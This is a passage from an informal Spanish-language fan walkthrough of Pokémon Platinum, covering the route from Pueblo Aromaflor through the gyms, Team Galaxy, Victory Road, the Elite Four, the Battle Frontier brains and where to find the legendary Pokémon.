y sigue por el camino. Lucha con entrenadores hasta llegar a Pueblo Aromaflor. Haz lo que tengas que hacer aquí(curar, comprar…etc) y ve a la derecha y habla con la niña del camino, te dirá que su padre está en la central eolica secuestrado. Ve y habla con el recluta de la puerta. Lucha con él(te sacará un glameow). Al ganar, se encerrará y tendrás que ir al jardín de flores. Una vez allí tendrás que luchar con,los dos reclutas. No es muy difícil. El señor te dará la llave de la central y 10 tarros de miel. Ve ahora a la central y abre la puerta, el recluta saldrá corriendo, tu sigue el camino y lucha con los reclutas. Al final lucharás contra una de las jefas del equipo galaxia. Al ganar hablará con un señor extraño y se irán. El padre te dará las gracias pero no te da nada. Ya puedes tomar la ruta 205 para entrar en el bosque vetusto. RUTA 205 BOSQUE VETUSTO Aquí dentro no se ve muy bien puesto que nintendo ha introducido muchas nubes oscuras y árboles que no he visto en mi vida. Dentro una chica te pedirá que la acompañes. Ella tiene un chansey y cada vez que acabes un combate te curará por completo los pokémon. Sigue por el camino(puede que te pierdas, porque se ve muy poco) luchando hasta llegar a la salida. Verás la vieja mansión, pero no puedes entrar aún. Ella se separará y ve a Ciudad Vetusta. CIUDAD VETUSTA Aquí ve a la estatua del legendario y verás a helio hablando solo. Se irá. Vuelve y cintia hablará contigo. Después ve al gimnasio y gardenia estará esperando. Entra. Para este gimnasio tienes que derrotar primero a la entrenadora de la entrada, cambiarán los caminos, sigue y lucha otra vez, volverán a cambiar los caminos, vuelve a luchar y podrás luchar con gardenia. LÍDER GARDENIA-CIUDAD VETUSTA-MEDALLA BOSQUE Turtwig Nv.20 Cherrim Nv.20 Roserade Nv.22 Una vez ganes ve al bosque vetusto y verás a Gradenia mirando hacia la vieja mansión, habla con ella y después haz corte para entrar en la vieja mansión. Dentro te encontrarás los mismos objetos que en D/P. De noche ve a la televisión(supongo que saberís donde está) y capturad a Rotom, puede que os ayude un poco. Rotom Nv.20 Después de eso volved a Ciudad vetusta. Comprad pociones o superpociones y lo que necesiteís y cortad los arbustos de la base galaxia. Al entrar un recluta te hablará, pero resulta ser el comisario disfracado. Ve por las escaleras de la derecha y luego por las del centro Ve por las escaleras del fondo a la derecha, tendrás que luchar con un científico. Kadabra Nv.20 En esta sala conje los objetos: Una tabla para arceus y revivir, creo. Vuelve y ve por las escaleras del centro y sigue por la zona. Habla con la de pelo morado y comenzará un combate. Zubat Nv.21 Skuntank Nv.23 Automáticamente se irá y el señor te dará las gracias y se irá. Sal hasta Ciudad vetusta y ve a la tienda de bicis, antes de entrar cintia vendrá a hablar contigo, dile que sí y te dará un objeto para evolucionar a porygon y un huevo del que saldrá togepi. Entra en la tienda de biscis y habla con el duaño, estará tan agradecido que te da la bici. Ahora ve al carril bici y atravésalo. RUTA 206 Coge el camino hacia ciudad corazón. RUTA 207 Combate doble: Pachirisu Nv.22---Chimchar Nv.22 Montañero Geodude Nv.20 Nosepass Nv.20 Antes de entrar en la cueva Maya/León hablará contigo, dile que sí y te dará el buscabatalla. Ahora sí, entra en la cueva, dentro cuando llegues a unas escaleras te encontrarás con helio, pero se irá. Sigue tu camino subiendo las escaleras y luego a la derecha, verás la salida. RUTA 208 Sigue por la ruta hacia la derecha luchando contra entrenadores. Luego ve hacia arriba y luego a la derecha. Ya estará en ciudad corazón. Al entrar un Buneary vendrá a ti y una entrenadora siguiéndole, lo guarda en la pokéball y se va. La ciudad ha cambiado, el suelo es marrón con baldosas. Dentro del centro pokémon hay un payaso, si hablas con él empezará una batalla. Te sacará un mime jr al 23. Ve a la cúpula de concursos y te encontrarás con tu madre que te dará un esmoquin para participar. Habla con fantina(la líder del gimnasio) y se irá. Ve al gimnasio y podrás conseguir la medalla. Dentro tienes que ir buscando por el suelo un cuadrado azul con un dibuko y pasar por la puerta que tiene ese dibujo hasta llegar a fantina. LÍDER FANTINA-CIUDAD CORAZÓN-MEDALLA RELIQUIA Duskull Nv.24 Haunter Nv.24 Mismagius Nv.26 Al ganar diríjete a Pueblo Sosiego. RUTA 209 Al llegar creo que maya/león te hablará. Aquí no hay nada especial que hacer, así que sigue por el camino al norte. RUTA 215 Más adelante está la ruta por la que pasas, después, en el cruce ve a la derecha y ve por la ruta mientras llueve. Al final llegarás a Rocavelo. Aquí está la base del equipo galaxia, pero no puedes entrar. Diríjete al gimnasio y antes de entrar maya/león te hablará y veréis al líder de ciudad pradera saliendo. Cuando acabe entra. Aquí tienes que ir moviendo los sacos para romper las montañas de neumáticos, no es difícil. LÍDER BREGA-CIUDAD ROCAVELO-MEDALLA ADOQUÍN Meditite Nv.28 Machoke Nv.29 Lucario Nv.32 Al ganar ve al norte de rocavelo (donde están los reclutas) y verás a maya/león delante. Habla con el/ella, dile que sí y comenzará un combate contra los reclutas. Cuando ganes, maya/león se irá y aparecerá el detective. Entra en el almacén y el detective buscará algo. Encpntrará un objeto. Cójelo: MO VUELO. Ahora ve al sur para ir a Ciudad Pradera. RUTA 213 Aquí dirijete al gimnasio. Este gimnasio no cambia en nada respecto al d/p, así que no hay problema. LÍDER MANATI-CIUDAD PRADERA-MEDALLA CIÉNAGA Gyarados Nv.33 Quagsire Nv.24 Floatzel Nv.37 Al ganar te dará MT55 Salmuera. Sal y te encontrarás con maya/león y rival. Saldrá manati y se irá. Sigue a maya/león y rival y habla con ellos. Después habla con el recluta galaxia y síguele, cuando le pilles habla con él y suigele otra vez. Al final se cansará y luchará contigo. Al ganar aparecerá Cintia y te dará la medicina para los psyduck que bloquean el camino. Ve allí y quita a los psyduck. RUTA 210 Cintia te dará el amuleto para que se lo des a su abuela de Pueblo Caelestis. Coje el camino y sigue hasta el final. Puede que necesites despejar, así que te la dan en ciudad pradera. Cuando lleges a calestis habla con la abuela y te dirá que hay una persona más adelante. Lucha con el recluta y la vuela vendrá. Dale es amuleto y entra en la cueva. Lee los dibujos del trio de los lagos y aparecerá la abuela, pero automáticamente apreceráhelio y te retará a un combate. Sal y Cintia te hablará. Después vuela a Ciudad rocavelo y sal por la ruta de la izquierda para ir a ciudad canal. RUTA 218 Una vez aquí ve por el puente y el rival te retará. Una vez ganes ve a isla hierro hablando con el capitán del barco. Caundo llegues en la entrada estará un entrenador, habla con él y entrará. Entra en la cueva y sigue por el camino hasta llegar a una plataforma que baja. Sigue y habla con el entrenador de antes y te seguirá. Sigue y te encontrarás con 2 reclutas galaxia. Lucha y el entrenador te dará el huevo de riolu. Sigue hasta salir de la cueva. Vuelve a ciudad canal. Ahora entra en el gimnasio. Es igual que en d/p así que no deberías tener ningún problema. LÍDER ACERÓN-CIUDAD CANAL-MEDALLA MINA Magneton Nv.37 Steelix Nv.38 Bastiodon Nv.41 Al ganar sal y rival te dirá que vayas a la biblioteca. Entra y sube hasta arriba, serbal, maya/león y rival estarán allí t empezaría a hablar. Veris en la tele una columna de humo y fuego. Ve al lago que está al sur de rocavelo y verás el lago seco. Sigue por el camino, ve a la izquierda y luego abajo y luego a la derecha para entrar en la cueva. Dentro estará uno de los jefes del equipo galaxia. Habla con él y lucharás. JEFE GALAXIA 1 Golbat Nv.38 Croagunk Nv.40 Bronzor Nv.38 Al ganar se irá y ve al lago de pueblo hojaverde. Allí estará serbal con unos reclutas que lo tienen secuestrado. Lucha con todos los reclutas y habla con la segunda jefa galaxia., lucha con ella. JEFA GALAXIA 2 Golbat Nv.38 Bronzor Nv.38 Purugly Nv.40 Al ganar serbal hablará contigo y te dirá que rival ha ido al lago de puntanueva. Ve allí. Ve a ciudad vetusta y ve a la derecha para entrar en la cueva, ve a la derecha y cuando veas la salida no salgas, ve arriba y baja las escaleras. Usa despejar y busca el camino, yo lo hice sin usar depejar y no sé el camino. Subid las escaleras y veréis una entrada, no entréis, ahí se capturará a uno de los regis más adelante. Sigue hasta salir fuera. Sigue el camino, la ruta es totalmente distinta, pero no tiene pérdida. Al cabo de unn rato una chica vendrá, creo que es breda(es que había ventisca), y se va. Sigue el camino todo hacia arriba, no se ve nada a causa de la ventisca. En una casa que hay en medio te darán un ticket negro que no sé que es. Sigue el camino hasta llegar a puntanueva. Entra en el gimnasio. Es igual que en DP. LÍDER INVERNA-CIUDAD PUNTANUEVA-MEDALLACARÁMBANO Sneasel Nv.40 Abomansnow Nv.42 Piloswine Nv.40 Froslass Nv.44 Después ve hacia el lago y usa treparrocas, allí verás a rival con una jefa de galaxia, pero ella se irá. Después ve a rocavelo y habla con el recluta que está fuera. Se irá y vendrá el detective. Ve al almacén y el detective abrirá la puerta. A partir de aquí es igual que en dp, podeis miradlo en la guía d/p de studio pokémon. Después de hacer todo eso hay que ir al monte corona. Esto también es igual, así que miradlo en laguía de studio pokémon. Al llegar a la cima dos reclutas te retarán. Más adelante estarán los jefes galaxia y tu rival y tu luchareís contra ellas. JEFES GALAXIA Bronzor Nv.44-----Bronzor Nv.44 Skuntank Nv.46---Purugly Nv.46 Golbat Nv.44------Golbat Nv.44 Después de unas espectaculares imágenes cintia te preguntará si quieres ir al mundo inverso, dile que sí y entrareís juntos. Aquí es casi imposible decir con certeza por dónde ir puesto que el cambio de vistas y todo eso confunde un poco.. Cuando el trio de azelf, mesprit y uxie bajen debes echar una piedra con fuerza en el respectivo agujero. Después habla con Cintia para avanzar. Lucharás con helio, y después contra giratina forma original(Giratina Nv.47). Al capturarlo o derrotarlo sal por el agujero y aparecerás en el manantial donde se captura giratina. Vuela a pueblo arenas y entra en el laboratorio. Habla con serbal y después dirijete al último gimnasio. Una vez en la ciudad uno con pelo rojo te hablará, después ve al faro para hablar con lectro. Despés ya podrás ir al gimnasio. LÍDER LECTRO-CIUDAD MARINA-MEDALLA FARO Jolteon Nv.46 Raichu Nv.46 Luxray Nv.48 Electivire Nv.50 Al ganar te darála MT57 Rayo Carga. Después de eso ve a la playa y rival vendrá, pero se irá,habla con yasmin que te dará la mo cascada. Ahora ve por la ruta marina hasta la liga pokémon. Una vez llegues haz lo que tengas que hacer en el centro pokémon y entra en la calle victoria. La cueva es exactamente igual, así que supongo que no tendrás ningún problema, pero recuerda llevar pokémon con treparrocas, golpe roca, fuerza, surf y cascada por si acaso. Al entrar, cruza el Puente de Madera y usa Treparrocas allí. AL bajar ve hacia la derecha y en una roca encontrarás una Ultra Ball. Más a la izquierda encontrarás la TM41 Tormenta. Luego vuelve a subir usando Treparrocas. Luego sigue avanzando hasta llegar a unas escaleras, Baja, cruza el Puente y allí habrá un Restaura Todo. Luego vuelve hacia las escaleras y ve hacia el norte. Allí usa Treparrocas para bajar. Al bajar ve todo hacia la izquierda. Sube las escaleras, Derrota al entrenador, y allí al norte en una piedra encontrarás un Max Elixir. Luego vuelve hacia abajo y sube las escaleras para llegar a la siguiente cueva. Aquí usa Golpe Roca en una de las rocas que hay allí abajo. Luego llegarás a donde hay tres piedras que podrás mover con Fuerza. Deberás moverlas de la siguiente Manera. -La de la derecha, empújala hacia abajo. -Luego mueve la roca que quedó al lado tuyo hacia la izquierda -Luego la ultima que queda sin mover, muévela hacia abajo dos veces y podrás pasar. uego, derrota al Entrenador que allí verás. Luego mueve la roca de la izquierda hacia abajo. Luego rodéala y usa Golpe Roca. Luego vuélvela a empujar y Finalmente empuja la que queda hacia arriba. Luego usa Golpe Roca y derrota al entrenador. Luego sigue avanzando y mueve la roca que hay allí hacia la derecha. Luego ve hacia arriba y un anciano te retará a una batalla. Derrótalo y baja por las escaleras de allí atrás. Al bajar, cruza el Puente y baja usando Treparrocas. Al bajar no saltes la valla, luego sigue el angosto camino hasta llegar a un Karateka. Después de derrotarlo, baja las escaleras. Al bajar, llegarás a una zona donde está lleno de agua. Acércate y utiliza Surf, para llegar a donde hay un Psíquico. Luego sigue avanzando y llegarás a una cascada. Súbela. Luego de hacerlo, a la izquierda verás otra, baja y allí encontrarás una MT59 Pulso Dragón. Luego vuelve a subir. Ahora bájate a donde hay una entrenadora y véncela. Luego sigue avanzando hasta llegar a unas escaleras. Allí en una roca, antes de subir encontrarás un Hongo Grande. Finalmente sube las escaleras. Al llegar a la Siguiente Sala. Avanza y verás a un Anciano, véncelo y luego ve todo el camino por atrás de él y encontrarás un Garra Afilada. Luego vuelve hasta el anciano, y detrás de él verás unas escaleras. Sube y sigue el Camino y llegarás a donde hay un Gordo. Allí encontrarás un zinc. Luego vuelve hasta donde estaba el Anciano y sigue el camino que hay delante de él. Luego ve hacia la izquierda, sin saltar las vallas, y usa Treparrocas. Luego cruza el Puente y llegarás a unas escaleras. Allí empuja las piedras y encontrarás la MT79 Pulso Umbrío. Luego vuelve hasta el anciano. Ahora, desde el anciano, ve hacia abajo y luego a la derecha. Usa Treparrocas y derrota al entrenador. Luego sigue ese puente y llegarás a la Salida del Camino Victoria. Después haz cascada para subir a la liga pokémon. ALTO MANDO 1.ALECRÁN Yanmega Nv.49 Scizor Nv.49 Vespiquen Nv.50 Heracross Nv.51 Drapion Nv.53 2.GAIA Wishcash Nv.50 Gliscor Nv.53 Golem Nv.52 Rhyperior Nv.52 Hippowdon Nv.55 3.FAUSTO Houndoom Nv.52 Flareon Nv.55 Rapidash Nv.53 Infernape Nv.55 Magmortar Nv.57 4.DELOS Mr.Mime Nv.53 Espeon Nv.55 Bronzong Nv.54 Alakazam Nv.56 Gallade Nv.59 5.CINTIA Spiritomb Nv.58 Roserade Nv.58 Togekiss Nv.60 Lucario Nv.60 Milotic Nv.58 Garchomp Nv.62 ¡¡¡FELICIDADES!!! ¡¡¡HAS COMPLETADO LA LIGA POKÉMON!!! AHORA PODRÁS VOLVER AL MUNDO INVERSO Y COGER EL PLATINUM ORB PARA TRANSFORMAR A GIRATINA. Bueno, aquí os traigo la información acerca de los ases del frente y los legendarios. Los niveles de los ases del frente cambian según cuantas veces hayas ganado al as en cuestión. Escenario Batalla KEITO- Una vez hayas ganado un total de 59 combates en el Escenario de Batalla, tendrás la oportunidad de luchar contra tu contrincante número 60, que será Keito, el as de este edificio del frente. Porygon-Z Mamoswine Ruleta de Batalla DARIA- Cuando ganes 20 batallas en la ruleta de batalla, será la hora de la ronda número 21, en la que tendrás la oportunidad de luchar contra Daria, el as de la ruleta de batalla. Dusknoir Medicham Ludicolo Castillo de batalla COCHRAN- Ya ganados un total de 20 combates, te tocará el combate número 21, contra Cochran, as del castillo de batalla. Staraptor Empoleon Houndoom Torre de batalla JERICÓ- Cuando hayas vencido a 20 entrenadores en la torre de batalla, será el turno de luchar contra Jericó, el as de la torre de batalla, contrincante número 21. Dragonite Milotic Rhyperior Factoría de batalla NEKIJI- En tu combate número 21 en la Factoría de Batalla, deberás luchar contra Nekiji, el as de este edificio. Sus Pokémon son de alquiler, por lo que siempre cambian. LEGENDARIOS GIRATINA NV.47 Giratina se encuentra justo al final del Mundo Inverso (Torn World). Recomendamos curarnos antes de ir a combatir contra el. Su Forma Origen es muy poderosa. Esta en nivel 47. Despues de haberlo capturado, cuando dejemos el Mundo Inverso, Giratina volverá a su Forma Alternativa, sin embargo al volver encontraremos un objeto cerca y con ese objeto podremos cambiar de forma a volundad en el mundo normal. UXIE NV.50 Después de la batalla y capturar a Giratina, los tres Pokémon legendarios se dispersan por todo Sinnoh. Situado en el Lago Agudeza (Lake Acuity) Uxie es el Pokémon Amarillo del trío. Lucharemos con el aquí solo una vez, así que asegúrate de guardar. Esta en nivel 50. AZELF NV.50 Después de la batalla y capturar a Giratina. Situado en el Lago Valor (Lake Valor) Azelf es el Pokémon Azul del trío. Lucharemos con el aquí solo una vez, así que asegúrate de guardar. Esta en nivel 50. MESPRIT NV.50 Después de la batalla y capturar a Giratina. Situado en el Lago Veraz (Lake Verity) Mesprit es el Pokémon rosa del trío. Una vez que vayamos a luchar con el, se escapará. Esta vez su ubicación no está registrada en el Pokédex, sino más bien en el mapa en del Poké-Reloj. Aparecerá al azar en la hierba. Esta en nivel 50. DIALGA NV.70 Después de conseguir el Pokédex Nacional, y encontrar la Diamansfera, vuelve a la cumbre del Mt. Corona y a Columna Lanza. Al llegar, te encontrarás con un portal Azul, tocalo y Dialga vendrá a combatirte. PALKIA NV.70 Después de conseguir el Pokédex Nacional, y encontrar la Lustresfera, vuelve a la cumbre del Mt. Corona y a Columna Lanza. Al llegar, te encontrarás con un portal Rosa, tocalo y Palkia vendrá a combatirte. HEATRAN NV.50 Después de conseguir el Pokédex Nacional, y completar la historia en la Montaña Dura, cuando regreses de nuevo donde Plutón fue detenido, Heatran aparecerá. Esta en nivel 50 y por lo que no debe ser una molestia. Las Ocaso Balls son útiles aquí. REGIGIGAS NV.1 Después de conseguir el Pokédex Nacional, ahora tendremos acceso al Templo de Puntaneva. Hay que llevar a Regirock, Regice y Registeel en el equipo e ir todo el camino hacia la parte inferior, deslizandonos por el puzzle de hielo. Una vez allí, veremos a Regigigas dormido en medio del lugar. Vamos hasta el e iniciamos la batalla. Esta en nivel 1 así que lleva un pokemon de bajo nivel para luchar. CRESSELIA NV.50 Después de conseguir el Pokédex Nacional, si vamos al barco que esta en Ciudad Canal, tendremos la posibilidad de ir a la Isla Plenilunio a fin de ayudar a sanar a un niño. En esta isla, se encuentra Cresselia. Una vez que hablemos con él, se activará y empezará a deambulan por la hierba de todo Sinnoh. Esta en nivel 50. ARTICUNO NV.60 Después de conseguir el Pokédex Nacional, si hablamos con el Profesor Oak en Ciudad Vetusta, nos dirá que Articuno ha sido avistado en los alrededores de Sinnoh. Articuno ronda por la hierba de todo Sinnoh, así que tenemos que ser cuidadosos en nuestra cazeria. Esta en nivel 60. ZAPDOS NV.60 Después de conseguir el Pokédex Nacional, si hablamos con el Profesor Oak en Ciudad Vetusta, nos dirá que Zapdos ha sido avistado en los alrededores de Sinnoh. Zapdos ronda por la hierba de todo Sinnoh, así que tenemos que ser cuidadosos en nuestra cazeria. Esta en nivel 60. MOLTRES NV.60 Después de conseguir el Pokédex Nacional, si hablamos con el Profesor Oak en Ciudad Vetusta, nos dirá que Moltres ha sido avistado en los alrededores de Sinnoh. Moltres ronda por la hierba de todo Sinnoh, así que tenemos que ser cuidadosos en nuestra cazeria. Esta en nivel 60. REGIROCK NV.30 Para tener acceso a Regice necesitas haber tranferido a tu equipo al Regigigas obtenido por medio del evento de la 11ª película a Pokémon Platino, y tenerlo en el equipo. Esto te habilitará el acceso a una cueva especial en la Ruta 228. En el centro, tendrás que ir hacia abajo, y habrá una cueva ocultada por una roca. Ve con Regigigas en tu equipo, y dirigete a nueva cueva frente a la vacía con un Antiderretir. Ve hasta la estatua y el pasa por todos los puntos del piso. A continuación, ve hacia la estatua y Regirock te atacará. Esta en nivel 30. REGICE NV.30 Para tener acceso a Regice necesitas haber tranferido a tu equipo al Regigigas obtenido por medio del evento de la 11ª película a Pokémon Platino, si haces eso, tendras acceso a una sala especial en Mt. Corona. Derecho de la salida a la Ruta 216 hay una cueva extra. Si vas con Regigigas en el equipo, te dirigiras a una nueva cueva frente a la vacía con un Antiderretir. En este caso, vas hasta la estatua y pasando por todos los puntos del piso . A continuación, ir hasta la estatua. Regice atacará. Esta en nivel 30. REGISTEEL NV.30 Para tener acceso a Regice necesitas haber tranferido a tu equipo al Regigigas obtenido por medio del evento de la 11ª película a Pokémon Platino si haces eso, tendras acceso a una sala especial en la Isla Hierro. Derecho de la salida hay una cueva extra. Si vas con Regigigas en el equipo, entonces te llevará a una nueva cueva frente a una sala vacía con un Rev.metálico. Vas hasta la estatua y Registeel atacará. Esta en nivel 30. Si les gusto avisenme que suvo otras